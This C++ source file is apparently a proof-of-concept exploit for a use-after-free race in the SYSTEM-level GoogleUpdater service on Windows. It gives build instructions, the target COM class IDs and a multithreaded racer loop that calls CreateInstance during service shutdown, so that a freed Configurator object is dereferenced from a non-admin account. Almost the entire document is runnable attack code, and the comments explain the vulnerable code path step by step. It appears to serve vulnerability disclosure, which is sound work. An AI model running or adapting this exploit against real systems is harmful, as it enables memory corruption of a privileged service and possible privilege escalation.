// Windows-only POC: Shutdown-race UAF in GoogleUpdater SYSTEM service
//
// PolicyStatusImpl::PolicyStatusImpl() reads AppServer::config_ on a COM MTA
// RPC thread while AppServer::Uninitialize() frees it on the main sequence.
//
// Target: System-scope GoogleUpdater service (runs as SYSTEM).
// Attacker: Any non-admin Interactive logon user.
//
// Build (MSVC, x64 Native Tools prompt):
//   cl /EHsc /O2 poc.cc /link ole32.lib
//
// Run as a non-admin interactive user with the system-scope GoogleUpdater
// installed. Prefer an ASAN-instrumented updater service binary to obtain a
// clean heap-use-after-free report; on a release build the race may manifest
// as an Access Violation in the service process or silent corruption.

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <objbase.h>
#include <atomic>
#include <cstdio>
#include <thread>
#include <vector>

// CLSID of PolicyStatusSystemClass.
//
// Google-branded build: see chrome/updater/branding.gni
//   PolicyStatusSystemClassGUID = "83FE19AC-72A6-4A72-B136-724444121586"
//
// Chromium-branded build placeholder (updater_legacy_idl.template):
//   F675D224-BD54-40E9-AECB-AA3B64EB9863
//
// If targeting a Chromium-branded build, swap to the placeholder GUID below.
static const CLSID CLSID_PolicyStatusSystemClass = {
    0x83FE19AC,
    0x72A6,
    0x4A72,
    {0xB1, 0x36, 0x72, 0x44, 0x44, 0x12, 0x15, 0x86}};

// Number of concurrent CreateInstance racers per shutdown attempt. More
// threads widen the window in which an in-flight activation reaches
// SimpleClassFactory<PolicyStatusImpl>::CreateInstance after
// CoRevokeClassObject and overlaps Uninitialize().
constexpr int kRacerThreads = 8;

// Upper bound on race attempts. Each attempt re-arms the demand-started
// service.
constexpr int kMaxAttempts = 200000;

static std::atomic<bool> g_go{false};
static std::atomic<bool> g_stop{false};

static void Racer(IClassFactory* factory) {
  // Each racer joins the process MTA so the IClassFactory proxy is usable.
  HRESULT hr = ::CoInitializeEx(nullptr, COINIT_MULTITHREADED);
  if (FAILED(hr)) {
    return;
  }
  while (!g_stop.load(std::memory_order_relaxed)) {
    while (!g_go.load(std::memory_order_acquire) &&
           !g_stop.load(std::memory_order_relaxed)) {
      // spin
    }
    if (g_stop.load(std::memory_order_relaxed)) {
      break;
    }
    // Tight-loop CreateInstance against the held class-factory proxy. A held
    // IClassFactory survives the server's CoRevokeClassObject, so an in-flight
    // CreateInstance can be dispatched to the server's RPC thread pool *after*
    // UnregisterClassObjects() and concurrently with the main-sequence
    // Shutdown(0) -> Uninitialize() -> config_ = nullptr -> delete.
    for (int i = 0; i < 64; ++i) {
      IUnknown* unk = nullptr;
      if (SUCCEEDED(
              factory->CreateInstance(nullptr, IID_IUnknown,
                                      reinterpret_cast<void**>(&unk))) &&
          unk) {
        unk->Release();
      }
    }
  }
  ::CoUninitialize();
}

int main() {
  HRESULT hr = ::CoInitializeEx(nullptr, COINIT_MULTITHREADED);
  if (FAILED(hr)) {
    fprintf(stderr, "CoInitializeEx failed: 0x%08lx\n", hr);
    return 1;
  }

  for (int attempt = 0; attempt < kMaxAttempts; ++attempt) {
    // Step 1: Demand-start the service and pin WRL module count = 1.
    IUnknown* p1 = nullptr;
    hr = ::CoCreateInstance(CLSID_PolicyStatusSystemClass, nullptr,
                            CLSCTX_LOCAL_SERVER, IID_IUnknown,
                            reinterpret_cast<void**>(&p1));
    if (FAILED(hr) || !p1) {
      fprintf(stderr,
              "[%6d] CoCreateInstance(PolicyStatusSystemClass) failed: "
              "0x%08lx (is the system-scope updater installed?)\n",
              attempt, hr);
      ::Sleep(200);
      continue;
    }

    // Step 2: Grab an IClassFactory proxy that survives CoRevokeClassObject.
    IClassFactory* factory = nullptr;
    hr = ::CoGetClassObject(CLSID_PolicyStatusSystemClass, CLSCTX_LOCAL_SERVER,
                            nullptr, IID_IClassFactory,
                            reinterpret_cast<void**>(&factory));
    if (FAILED(hr) || !factory) {
      fprintf(stderr, "[%6d] CoGetClassObject failed: 0x%08lx\n", attempt, hr);
      p1->Release();
      ::Sleep(200);
      continue;
    }

    // Step 3: Spawn racers that will hammer factory->CreateInstance once the
    // shutdown is triggered.
    g_go.store(false, std::memory_order_release);
    g_stop.store(false, std::memory_order_release);
    std::vector<std::thread> racers;
    racers.reserve(kRacerThreads);
    for (int i = 0; i < kRacerThreads; ++i) {
      racers.emplace_back(Racer, factory);
    }

    // Step 4: Release the only outstanding object -> server WRL module count
    // 1 -> 0 -> AppServerWin::Stop() runs *synchronously on that RPC thread*:
    //   - on_service_stopping_ (SERVICE_STOP_PENDING)
    //   - UnregisterClassObjects()  [CoRevokeClassObject, non-blocking]
    //   - PostTask -> main sequence: nulls update_service_/stubs, Shutdown(0)
    //       -> RunLoop quits -> absl::Cleanup -> AppServer::Uninitialize()
    //       -> config_ = nullptr -> Configurator::Release() -> delete.
    //
    // Simultaneously unleash the CreateInstance racers so an in-flight
    // activation executes PolicyStatusImpl::PolicyStatusImpl() on a fresh RPC
    // thread, where GetAppServerWinInstance()->config() loads the stale
    // config_.ptr_, AddRef()s the freed Configurator, dereferences it for
    // GetPolicyService(), and on temporary destruction Release()s -> virtual
    // ~Configurator() through a freed vtable pointer.
    g_go.store(true, std::memory_order_release);
    p1->Release();

    // Let the race run briefly.
    ::Sleep(50);

    // Tear down this attempt.
    g_stop.store(true, std::memory_order_release);
    for (auto& t : racers) {
      t.join();
    }
    factory->Release();

    if ((attempt & 0x3f) == 0) {
      printf("[%6d] cycle complete\n", attempt);
    }

    // Give the SCM a moment to fully stop the old instance before the next
    // demand-start. The service is demand-started, so step 1 of the next
    // iteration re-arms the race.
    ::Sleep(100);
  }

  ::CoUninitialize();
  printf("done (race not observed locally; check service crash logs / ASAN)\n");
  return 0;
}